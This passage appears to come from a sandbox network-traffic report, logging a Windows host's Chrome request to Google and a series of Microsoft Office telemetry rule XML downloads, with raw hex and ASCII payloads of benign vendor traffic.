_.de(_.Yc(a,b))};_.S\u003dfunction(a,b){return _.ce(
2024-10-29 16:59:22 UTC	1378	IN	Data Raw: 65 6c 6c 50 61 64 64 69 6e 67 5c 22 2c 63 65 6c 6c 73 70 61 63 69 6e 67 3a 5c 22 63 65 6c 6c 53 70 61 63 69 6e 67 5c 22 2c 63 6f 6c 73 70 61 6e 3a 5c 22 63 6f 6c 53 70 61 6e 5c 22 2c 66 72 61 6d 65 62 6f 72 64 65 72 3a 5c 22 66 72 61 6d 65 42 6f 72 64 65 72 5c 22 2c 68 65 69 67 68 74 3a 5c 22 68 65 69 67 68 74 5c 22 2c 6d 61 78 6c 65 6e 67 74 68 3a 5c 22 6d 61 78 4c 65 6e 67 74 68 5c 22 2c 6e 6f 6e 63 65 3a 5c 22 6e 6f 6e 63 65 5c 22 2c 72 6f 6c 65 3a 5c 22 72 6f 6c 65 5c 22 2c 72 6f 77 73 70 61 6e 3a 5c 22 72 6f 77 53 70 61 6e 5c 22 2c 74 79 70 65 3a 5c 22 74 79 70 65 5c 22 2c 75 73 65 6d 61 70 3a 5c 22 75 73 65 4d 61 70 5c 22 2c 76 61 6c 69 67 6e 3a 5c 22 76 41 6c 69 67 6e 5c 22 2c 77 69 64 74 68 3a 5c 22 77 69 64 74 68 5c 22 7d 3b 5c 6e 5f 2e 42 65 5c Data Ascii: ellPadding\",cellspacing:\"cellSpacing\",colspan:\"colSpan\",frameborder:\"frameBorder\",height:\"height\",maxlength:\"maxLength\",nonce:\"nonce\",role:\"role\",rowspan:\"rowSpan\",type:\"type\",usemap:\"useMap\",valign:\"vAlign\",width:\"width\"};\n_.Be\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.6	49782	142.250.185.132	443	364	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:22 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-29 16:59:22 UTC	957	IN	HTTP/1.1 200 OK Version: 689297125 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Tue, 29 Oct 2024 16:59:22 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-29 16:59:22 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-10-29 16:59:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.6	49783	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:22 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:22 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:22 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 151676fb-b01e-0084-4068-28d736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165922Z-15b8d89586f8nxpt6ys645x5v0000000080g00000000cegw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:22 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.6	49785	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:22 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:22 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:22 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 4bda8ee7-201e-0003-1763-27f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165922Z-16849878b7867ttgfbpnfxt44s00000006m000000000sb4d x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:22 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.6	49784	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:22 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:22 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:22 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 5ef35a72-501e-007b-6836-285ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165922Z-15b8d89586fwzdd8urmg0p1ebs0000000heg000000005shb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:22 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.6	49787	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:22 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:22 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:22 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: ad4459d7-101e-007a-6a4c-27047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165922Z-16849878b7867ttgfbpnfxt44s00000006sg000000002u5d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 16:59:22 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.6	49788	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:22 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:22 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:22 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: d9732123-901e-007b-1098-25ac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165922Z-16849878b78p8hrf1se7fucxk800000007mg00000000q7sh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:22 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.6	49790	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:23 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:23 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:23 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: e1f5471d-e01e-0051-4f6c-2784b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165923Z-15b8d89586f42m673h1quuee4s0000000awg00000000bbp4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:23 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.6	49791	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:23 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:23 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:23 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 0c0bb0c5-d01e-007a-4187-29f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165923Z-17c5cb586f6gkqkwd0x1ge8t0400000007dg000000001snt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:23 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.6	49792	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:23 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:23 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:23 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 8e6218f7-d01e-0066-7d57-27ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165923Z-16849878b78qf2gleqhwczd21s000000071000000000b9yv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:23 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.6	49793	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:23 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:23 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:23 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 48ec36c7-d01e-00a1-338d-2735b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165923Z-16849878b78p49s6zkwt11bbkn00000006eg00000000gepk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 16:59:23 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.6	49795	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:23 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:24 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:24 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 6c7ab4fb-501e-0078-78bf-2706cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165924Z-r197bdfb6b4wmcgqdschtyp7yg00000006pg00000000eg7m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:24 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.6	49796	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:24 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
